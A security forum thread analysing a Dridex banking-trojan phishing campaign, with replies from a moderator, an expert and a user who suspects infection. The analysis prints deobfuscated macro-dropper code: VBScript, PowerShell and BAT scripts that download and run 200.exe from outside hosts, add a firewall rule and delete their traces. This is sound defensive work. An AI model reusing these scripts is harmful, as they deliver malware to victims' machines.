Jump to content


Register a free account to unlock additional features at BleepingComputer.com
Welcome to BleepingComputer, a free community where people like yourself come together to discuss and learn how to use their computers. Using the site is easy and fun. As a guest, you can browse and view the various discussions in the forums, but can not create a new topic or reply to an existing one unless you are logged in. Other benefits of registering an account are subscribing to topics and forums, creating a blog, and having no ads shown anywhere on the site.

Click here to Register a free account now! or read our Welcome Guide to learn how to use this site.


Another Look at the Dridex Banking Trojan

  • Please log in to reply
6 replies to this topic

#1 White Hat Mike

White Hat Mike

  • Members
  • 312 posts
  • Gender:Male
  • Location:::1
  • Local time:01:01 PM

Posted 08 April 2015 - 06:29 PM

I have decided to perform some deeper analysis of the Dridex Banking Trojan after being supplied with various phishing e-mails distributed to users of my organization containing ZIP archive attachments with a Word document inside, that contain embedded macro code that executes the Dridex payload.
A Closer Look at the Dridex Trojan After Some Recently Received E-mails
The Dridex Banking Trojan is a part of a family of Trojans classified as "banking trojans".  An article describing the Dridex Trojan and some of its inner-workings was published by TrendMicro in November of 2014.  However, I have recently been alerted of a phishing campaign targeting my organization in which multiple e-mails were intercepted, with ZIP archive attachments.  These ZIP archives as well as the overall e-mail fit the description of a typical Dridex phishing e-mail; describing a financial issue, in this case, the failure of an ACH (Automated Clearing House) Payment.  The ZIP archive was named to manipulate the user into believing that it contained information regarding this "failed transaction".  Within this ZIP archive was a single Microsoft Word document; while I did not bother to look for any actual content within the Word document, I did know that the document contained embedded Macros.  Macros allow users to embed VisualBasic scripts within Microsoft Office documents.  These can be used, and were of course intended to be used for legitimate purposes, but are commonly utilized by malware authors to trick unsuspecting users into launching nefarious code that performs actions that lead to the compromise of their device.  As TrendMicro reported in their November 2014 article:

"The appearance of DRIDEX comes a couple of years after CRIDEX's entry into the threat landscape.  Both CRIDEX and DRIDEX steal personal information, specifically data related to online banking.  DRIDEX is consider as the successor because it uses a new way to steal information--via HTML injections.

However, there is a major difference between the two.  CRIDEX malware is one of the payloads associated with exploit kit spam attacks.  DRIDEX, on the other hand, relies on spam to deliver Microsoft Word documents containing malicious macro code.  The macro code downloads DRIDEX onto the affected system."

As evidenced by my analysis and the e-mail alone, this description remains accurate, at least in the case of DRIDEX's [primary] method of infection.
General Overview of the Examined E-mails
A total of 3 e-mails containing nearly-identical content (the attachment, with minor modifications to change the document's signature) was examined.  The subjects of the examined e-mails were:
  • Rejected ACH transfer B617153
  • Denied Automated Clearing House (ACH) payment M107605
  • Aborted Automated Clearing House (ACH) transaction X851281
The ZIP archives attached to the reviewed e-mails were named:
  • ID X512813.zip
  • Details R421688.zip
  • ID X071994.zip
Each e-mail came from a different sender, each being:
  • julian@mail.arkpm.co.uk
  • bozman107@earthlink.net
  • sylvia.marshall@eec-hi.co.uk
The macros were examined to pull obfuscated (base64 encoded) in raw format from Pastebin, deobfuscate it, and then execute the deobfuscated commands that have been retrieved.
Quick, Brief Summary of Static & Dynamic Analysis of Eventual Payload File (200.exe)
As of the time of review, April 8th 2015 around 4pm EST, the malware file "200.exe" was detected by only 6 of 56 anti-virus engines that processed the sample.
Detection Ratio: 6/56
  • DrWeb: Trojan.Packed.196
  • MalwareBytes: Trojan.Agent.EDG
  • Norman: Kryptik.CFBJ
  • Qihoo-360: HEUR/QVM19.1.Malware.Gen
  • Symantec: Suspicious.Cloud.5
  • TrendMicro-HouseCall: TSPY_DRIDEX.VVQR
File Detail
  • Language: Russian
  • Subsystem: Windows GUI
  • File Type: Win32 EXE
  • Entry Point: 0xa680
Additional Information
  • File Size: 98.0 KB (100,352 bytes)
  • MD5 Hash: 3b3584ca242581605f812ca385461ae1[/size]
  • SHA1 Hash: d7785e1b02114041b748f26d2b3ed5aaa1d268f4[/size]
  • SHA256 Hash: 216bd7a5efd61f36ac1e195279d32afd660442bc46f35156cd1e95783e1fa95e[/size]
Behavioral Information
  • TCP Connections:
Joe Sandbox Analysis (on a Windows 7 OS)
Process Tree
  • 200.exe

  • rundll32.exe

  • explorer.exe

    • sdbinst.exe
    • iscsicli.exe
    • sdbinst.exe
    • iscsicli.exe


  • netsh.exe
  • sdbinst.exe
  • reg.exe
  • reg.exe




Created/Dropped Files
  • (3) BAT/SDB File Pairs
  • (1) CAB File with TMP Extension
  • (1) Data File with TMP Extension
  • (1) Additional SDB File In:
    • C:\Windows\AppPatch\Custom\{CLSID}.sdbinst
Contacted Domains/IP Addresses
  • (Russia)
Process: 200.exe
Binds Sockets
Connects Sockets
Creates Mutexes
Creates Processes
  • C:\Windows\System32\rundll32.exe C:\89CB.tmp NotifierInit
Terminates Processes
  • C:\200.exe
Process: explorer.exe
Creates Files
  • (3) BAT/SDB File Pairs
  • All BAT Files Contain Similar Code:
    • start netsh advfirewall firewall add rule name="Core Networking Multicast Listener Done (ICMPv4-In)" program="C:\Windows\Explorer.EXE" dir=in action=allow protocol=TCP localport=any

      sdbinst /q /u "C:\Users\admin\AppData\LocalLow\<random>.sdb"

      reg delete
Creates Mutexes
Binds Sockets
Process: cmd.exe
Creates Processes
  • (Started by execution of the previously-described BAT files)
Process: dwm.exe
  • Creates Mutexes
So we can see that once the payload file (200.exe) is downloaded and executed, it leverages numerous methods to carry out its malicious instructions.  In this case we see BAT files being called, and malicious DLLs (named as TMP files) being injected into legitimate processes, namely explorer.exe.
However, when we dive in deeper and analyze the Macro code, we see multiple methods and checks (to operate under 2 different conditions) to execute its payload.  It has the potential to utilize VBScript, BAT files, and PowerShell scripts to perform all of its desired activities.
Reviewing the Malicious Macros, Converting the VisualBasic to VBScript, Replacing/Debugging the Functions and Script
We see three separate "modules" within the Word document, containing the VisualBasic (macro) code.  We have the primary -- "ThisDocument" -- module, as well as two supporting modules named "Module1" and "Module2" which contain custom functions written by the malware authors to perform different activities, such as decoding data, pulling specific snippets of code from pulled, deobfuscated data, returning process IDs, etc.
I have recreated all of the functions and leveraged them to replace the previously heavily obfuscated code with readable, deobfuscated code.  I have also added numerous comments that describe what the script is doing at certain points that otherwise would have been unclear and hard to understand...  examples being the actual raw code being written to the downloader files.
Many variables are defined at the start of the script, of course, one being a randomly-generated file name for the files to eventually be dropped on the victim's device.  Variables are also defined to prefill the file names for files of each type to be created: VBScript (.vbs), BAT (.bat) and PowerShell (.ps1).  Variables defining the location of the obfuscated code/payload URLs are also defined, in chunks, not nearly as split up and masked as they were prior to my modifications.  The Pastebin location of the obfuscated code, simply base64 encoded, that the script attempts to retrieve is:
The malicious 200.exe file was found to be hosted on DropBox; the URL to this executable was found to be retrieved using XMLHttpRequest against a Pastebin raw output URL (rather than embedding the URL directly within the script), the Pastebin URL providing this URL to the script being:
Additionally, URLs were found that were used to download images, that I have not yet analyzed in-depth.  But, if I were to guess, I would imagine that these images (unless simply used for tracking purposes) may be heavily obfuscated, and/or contain metadata that will be used for HTML injection once a user has become infected with the Dridex Trojan.  The URLs accessed to pull these images are as follows:
Once the foundational variables are initialized and set, the script will begin carrying out its activities to retrieve payload files and successfully compromise the target device.  The script uses VisualBasic's built-in functionality and sets a variable named "obg" which is an "MSXML2.ServerXMLHTTP" object, that can be used to perform HTTP requests and pull the server's response.  The script uses XMLHttpRequest to pull data off the first Pastebin location, unique Pastebin entry identifier "1t3AmzVm", to retrieve the obfuscated "second stage" code.  It performs a GET request to this URL and stores the server's [text] response in two variables: asdwg and CONT.
It then leverages a Decode function, defined in "Module1", to decode the base64 encoded payload that it pulls.  Slight modifications to this function to work properly in VBScript, and redirecting the output to a text file on my local device, allowed me to view the decoded content of the payload file.
Then, a number of seemingly odd variables are defined within the script; these variables, named "TVT10", "TVT20", "TVT21", "TVT30", "TVT31", "XPT1", "XPT2" and "XPT3", call a function named "Tort" defined in "Module1".  What this "Tort" function does, is simply use regular expressions to pull specific subsets of code from the decoded payload.  The variables prefixed with "TVT" pull VBScript code, and those prefixed with "XPT" pull PowerShell code.
We can ignore some following variables, as they are self-explanatory, but the script appears to pull the environment variable %USERPROFILE% (using the malware author's custom function defined in "Module1" named "Bad") to get the target's local user profile path.  It then checks if the string "sers\" is found within this path, and sets a variable named "VRR" to "1" if it is found; to "0" if not found.  Either way, the script carries out its payload functions in slightly different ways.
If the VRR Variable is Set to 0
If the "VRR" variable is set to 0, as a result (I believe) of failing the "InStr" check, the script performs the below actions.
Create and Write a BAT File
It will create/open a BAT file in the user's Temp directory, with the randomly-generated name initially defined.  It writes the following to this BAT file:

@echo off
ping -n 2
set ggtt="bs"
set trfd="%Temp%"
set nmsj="(random name)"
set exds="8"
cscript.exe "%Temp%\(random name).vbs"
ping -n 2
ping -n 1
set tar1="(random name).bat"
set stat="444.png"
del "%Temp%\(random name).vbs"
del "%Temp%\(random name).bat"
del "%Temp%\444.png"
if exist "%Temp%\(random name).bat" goto loop
if exist "%Temp%\(random name).vbs" goto loop
It then closes this newly-created BAT file, and pauses for 2 seconds.  After the pause time elapses, it will create/open a VBScript (.vbs) file in the user's Temp directory, with the randomly-generated name initially defined.  It writes the following to this VBS file:
Create and Write a VBS File
** NOTE -- This is the cleaned up version.  The obfuscated version commonly calls different variables / functions to put together the variable values to confuse or deceive analysts [and users alike].  I have filled in the variables with their true, eventual value.

strRT = "hxxp:// www.dropbox.com/s/taon3jf7xfx7y4s/200.exe?dl=1"
statRT = "http://savepic.su/5533663.png"
jfeuygq = "8.exe"
strTecation = "%Temp%\8.exe"
frgea = "MSXML2.ServerXMLHTTP"
Set objXMLHTTP = CreateObject(frgea)
Set sFs = CreateObject(frgea)
objXMLHTTP.open "GET", "http:// www.dropbox.com/s/taon3jf7xfx7v4s/200.exe?dl=1", False
sFs.open "GET", "http://savepic.su/5533663.png", False
If objXMLHTTP.Status = 200 Then
uwqhda = "ADODB."
jaisd = "ADODB."
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
objADOStream.SaveToFile "%Temp%\8.exe"
Set objADOStream = Nothing
End If
Set objXMLHTTP = Nothing
Set objShell = CreateObject("WScript.Shell")
It then closes this file, pauses for 2 seconds, and sets a variable that calls a function named "Great" from "Module1".  Didn't bother looking into this function as it didn't impede by understanding of the script's overall mechanism of action, but I am guessing this function actually launches the newly-created file and then returns the process ID of the process that executing the file spawns, perhaps for later injection / migration techniques.  It stores this data in a variable named "NTH1".
If the VRR Variable is Set to 1
If the "VRR" variable is set to 1, as a result (I believe) of passing the "InStr" check, the script performs the below actions.
Create and Write a PowerShell File
It will create/open a PowerShell (ps1) file (script) in the user's Temp directory, with the randomly-generated name initially defined.  It writes the following to this PowerShell file:

$stat = 'http://savepic.su/5530591.png';
$ggtt = 'hxxp:// www.dropbox.com/s/taon3jf7xfx7v4s/200.exe?dl=1';
$pths = '%Temp%\';
$wehs = '(random name)';
$nnm = '8';
$down = New-Object System.Net.WebClient;
$dasdw = '123';
$file = '%Temp%\8.exe';
$statfile = '%Temp%\444.jpg';
$down.headers['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25';
$dasdw = '123';
$down.DownloadFile('hxxp:// www.dropbox.com/s/taon3jf7xfx7v4s/200.exe?dl=1', '%Temp%\8.exe');
$down.DownloadFile('hxxp:// savepic.su/5530591.png', '%Temp%\444.jpg');
$asdw = '123';
$ScriptDir = $MyInvocation.ScriptName;
$vbsFilePath = '%Temp%\(random name).vbs';
$statFilePath = '%Temp%\(random name).bat';
$psFilePath = '%Temp%\(random name).ps1';
Start-Sleep -s 15;
cmd.exe /c $file;
$file1 = gci $vbsFilePath -Force
$file2 = gci $btFilePath -Force
$file3 = gci $psFilePath -Force
$kasldds = $vbsFilePath
If (Test-Path $kasldds)( Remove-Item $kasldds )
If (Test-Path $btFilePath)( Remove-Item $btFilePath )
If (Test-Path $statFilePath)( Remove-Item $statFilePath )
$jsdhyfue2hds = 'asdghyg23d jashdhsagdhasghdhgas'
If (Test-Path $file)( Remove-Item $file )
Remove-Item $MyInvocation.InvocationName
It will then close this file, and then create/open a VBScript (.vbs) file, writing more code.
Create and Write a VBScript File
After creating the PowerShell file/script, it then creates a VBScript (.vbs) in the user's Temp directory, with the randomly-generated named initially defined.  It writes the following to this VBScript file:

Dim dff
dff = 68
currentDirectory = left(WScript.ScriptFullName, (Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))
Set objFSO = CreateObject("Scripting.FileSystemObject")
djwq = ".ps1"
currentFile = "%Temp%\(random name).ps1"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powerShell.exe -noexit -ExecutionPolicy bypass -noprofile -file %Temp%\(random name).ps1", 0, true
It then closes this file, to follow this action by creating/opening a BAT file.
Create and Write a BAT File
The script will then create a BAT (.bat) file in the user's Temp directory, with the randomly-generated name initially defined.  It writes the following to this BAT file:

@echo off
ping -n 2
chcp 1251
set Gds1="."
set Gds2="v"
set Gds3="bs"
set Ads3="(random name)"
set Gds4="%Temp%\(random name)"
cscript.exe %Temp%\(random name).vbs
It then closes this file, and pauses for a second.  After the pause time elapses, it creates a variable that I assume (as I previously stated in my description of the first condition) executes the file and stores the process ID of the process spawned by the launch of the script in a variable named "NTH2".
Clean-Up Activities
The script will then clean up the pulled data by using a function named "Seg" defined in "Module2" that uses regular expressions to find strings within the previously-stored XMLHttpRequest response, to remove data from the response text.
It sets a variable named "NTH3" that deletes the data between the "<object>" and "</object>" tags:
NTH3 = Module2.Seg("<object>", "</object>", 1)
It sets a variable named "NTH4" that seems to modify the font color of the text between the "<module>" and "</module>" tags to black:
NTH4 = Module2.Seg("<module>", "</module>", 2)
It sets a variable named "NTH5" that deletes the "<object>" tag:
NTH5 = Module2.Seg("<module>", "", 3)
It sets a variable named "NTH6" that deletes the "</object>" tag:
NTH6 = Module2.Seg("</object>", "", 3)
It sets a variable named "NTH7" that deletes the "<module>" tag:
NTH7 = Module2.Seg("<module>", "", 3)
It sets a variable named "NTH8" that deletes the "</module>" tag:
NTH8 = Module2.Seg("</module>", "", 3)
It is clear that the malware authors have put a lot of thought into ensuring the successful delivery of their payload, which intends to download files that will install and launch a variant of the Dridex Trojan.  The previously stated information by TrendMicro regarding the infection method remains true in this case; the Trojan is spread through spam e-mails with ZIP attachments containing a Word document with malicious macro code embedded inside of them.  Luckily, Microsoft Office products since the 2007 version disable macros by default, by prompt the user to "Enable Macros" upon opening the document.  This provides an initial thin layer of protection, but if the user downloads the ZIP, and launches the document contained within the archive, it is likely that they are unsuspecting users with a low level of security awareness training.  That being said, it isn't unlikely that users that fall under this category will click the "Enable Macros" button, which is highlighted within a yellow bar at the top of the document, that will more than likely result in the successful compromise of the targeted user's device.
However, at the time of this writing, many of the payload URLs (including the DropBox URL hosting the malicious 200.exe file) are no longer online, although it is highly likely that these URLs are rotated at various intervals, likely to be rotated many times in a single day.  The authors implement numerous obfuscation methods, with multiple stages of obfuscation, to ensure that their activities do not result in detection by most anti-virus engines.  Unfortunately, even highly-regarded commercial detection mechanisms leveraging heuristic/behavior-based detection failed to detect the execution of the embedded macros within the particular documents referenced in this article.
Mandate security awareness training not only at the onboarding of a new employee, but at regular intervals, to ensure that users are educated and are aware of the various threats that plague our Internet today.  Additionally, it is highly recommended that macros are explicitly disabled by default, through the use of common controls such as Microsoft Windows' Group Policy.
Note -- I believe that the VRR value that is set depends on the users' version of the Windows OS.  One set to execute for Windows 7, the other for Windows XP.
TrendMicro's Blog Post from November 5, 2014: http://blog.trendmicro.com/trendlabs-security-intelligence/banking-trojan-dridex-uses-macros-for-infection/
Pastebin URLs of the code that I pulled:









Even More Additional Information to Consider
Some WHOIS data performed on the prominent connection made to over port 8443:


39134 | | UNITEDNET | RU | reg.ru | Domain Names Registrar Reg.ru Ltd


39134 | | UNITEDNET | RU | reg.ru | Domain Names Registrar Reg.ru Ltd
9002   RETN   AS RETN Limited,UA 


Some to note, that have been confirmed to be involved with this infection:

Additional IPs observed to be contacted upon execution of 200.exe:
Mod Edit by quietman7: Disabled active link(s) to possible malware.

Edited by quietman7, 10 April 2015 - 09:10 AM.

Information Security Engineer | Penetration Tester | Forensic Analyst


BC AdBot (Login to Remove)


#2 Aura


    Bleepin' Special Ops

  • Malware Response Team
  • 19,673 posts
  • Gender:Male
  • Local time:01:01 PM

Posted 09 April 2015 - 05:34 AM

It looks like a really nice analysis. I'll give it a read today once I get to work. If you plan on doing more of them, I'm sure the community here would welcome that. This is real analysis :P

Security Administrator | Sysnative Windows Update Senior Analyst | Malware Hunter | @SecurityAura
My timezone UTC-05:00 (East. Coast). If I didn't reply to you within 48 hours, please send me a PM.

#3 quietman7


    Bleepin' Janitor

  • Global Moderator
  • 51,739 posts
  • Gender:Male
  • Location:Virginia, USA
  • Local time:01:01 PM

Posted 10 April 2015 - 09:13 AM

Please do not post active links to possible malware, including links which may lead to sites where infections have been contracted and spread. If it is malicious, we don't want other members accidentally clicking on such links and infecting their machines.

I have disable or removed the one(s) you posted so others do not click on it.

Thanks for your cooperation.
The BC Staff
Windows Insider MVP 2017-2018
Microsoft MVP Reconnect 2016
Microsoft MVP Consumer Security 2007-2015 kO7xOZh.gif
Member of UNITE, Unified Network of Instructors and Trusted Eliminators

If I have been helpful & you'd like to consider a donation, click 38WxTfO.gif

#4 White Hat Mike

White Hat Mike
  • Topic Starter

  • Members
  • 312 posts
  • Gender:Male
  • Location:::1
  • Local time:01:01 PM

Posted 10 April 2015 - 09:29 AM

Please do not post active links to possible malware, including links which may lead to sites where infections have been contracted and spread. If it is malicious, we don't want other members accidentally clicking on such links and infecting their machines.

I have disable or removed the one(s) you posted so others do not click on it.

Thanks for your cooperation.
The BC Staff


The DropBox URL hosting the malicious 200.exe file is no longer active and was not active at the time of my post.

Information Security Engineer | Penetration Tester | Forensic Analyst


#5 Didier Stevens

Didier Stevens

  • BC Advisor
  • 2,716 posts
  • Gender:Male
  • Local time:07:01 PM

Posted 10 April 2015 - 09:31 AM

Note -- I believe that the VRR value that is set depends on the users' version of the Windows OS.  One set to execute for Windows 7, the other for Windows XP.


Correct. To be more precise: VRR indicates if the system is Windows XP/Windows Server 2003, or something else. Something else includes Windows 7, but also Windows Vista, Windows Server 2008, ...

Remark that the detection method used by the criminals is flawed. But I'm not teaching them how to fix it ;-)


The distinction between Windows XP/Windows Server 2003 and other Windows versions is done because of Powershell. Powershell does not come pre-installed on Windows XP/Windows Server 2003.

Didier Stevens

SANS ISC Senior Handler
Microsoft MVP 2011-2016 Consumer Security, Windows Insider MVP 2016-2019


If you send me messages, per Bleeping Computer's Forum policy, I will not engage in a conversation, but try to answer your question in the relevant forum post. If you don't want this, don't send me messages.


Stevens' law: "As an online security discussion grows longer, the probability of a reference to BadUSB approaches 1.0"

#6 White Hat Mike

White Hat Mike
  • Topic Starter

  • Members
  • 312 posts
  • Gender:Male
  • Location:::1
  • Local time:01:01 PM

Posted 21 April 2015 - 03:54 PM

Bumping this topic just in case anyone else receives phishing e-mails from the same/similar campaigns distributing Dridex.

Information Security Engineer | Penetration Tester | Forensic Analyst


#7 bleedle


  • Members
  • 66 posts
  • Gender:Female
  • Local time:01:01 PM

Posted 07 August 2016 - 10:09 PM

After investigating a frustrating situation for several months in which all of my machines are unable to connect to my actual wifi service (some run on hidden connnections using bridges, others that I've wiped clean wont allow me to clean install win 7), I ran a search on my IP address's peculiar location last week that was matched in an official document on the fbi's recent arrest of dridex operators near my home (with huge monetary takes documented within 45 min radius). The address is one of the places the govt had been rerouting systems caught in the botnet to, apparently mine is still being directed there.

The prominence of picture files I never get to see and use of font settings jumped out at me from your analysis - vbs scripts and tmp files are also components of particular prominence to my issue, though as I understand they're common elements anyway so, as you might imagine, it's been hard to get anyone to hear me out and get some real help. Knowing nothing about networking other than analyzing logs and activity on my machines, I can show you logs via txt files in a panther folder where all these are being utilized ... I can't make that up. $750 I didn't have was withdrawn from my biz bank account on New Years Eve, but the bank covered for that. My actual Amazon invoices are littered with gift card transactions for gift cards I didn't use to cover shipping charges I wasn't originally charged (free shipping for me for Christmas now appears as charged shipping offset by gift cards). Also I'm an independent journalist - I shouldn't be in a network at all. It is, of course, rather detrimental to my line of work...

Is there a way I might use this info to confirm that my metwork is caught in this botnet? (keeping in mind my main machine lacks an OS per se, but has one functioning on the X: drive that allows me to pull up a cmd prompt, and access files and logs by browsing them in notepad... I'm no computer whiz, don't ask lol - just a research writer currently blocked from working, this is just how I've managed to get some insight into what is going on). No anti virus has even hinted that there might be a problem. All clean!

How can I, as everyday Joe Botnetfodder, use your analysis here to help me move past "dagnabbit, this machine just doesn't seem to want to work either. Honey.. why is my audio service running all the time?"
"Because you're insane, nothin you're describing here is possible!"
"Oh. Ok." :(

Or do I just call the fbi at this point with a pretty clear idea that I am actually caught in a botnet and tell them I've got 6 busted machines they're more than welcome to disect as they're basically useless to me now?

Thanks for your insight, and your understanding. If this post is in the wrong place just put it where it goes and accept my apologies. I don't mean to cause problems as I keep searching for help. This has been more devestating than most people will probably ever know.

1 user(s) are reading this topic

0 members, 1 guests, 0 anonymous users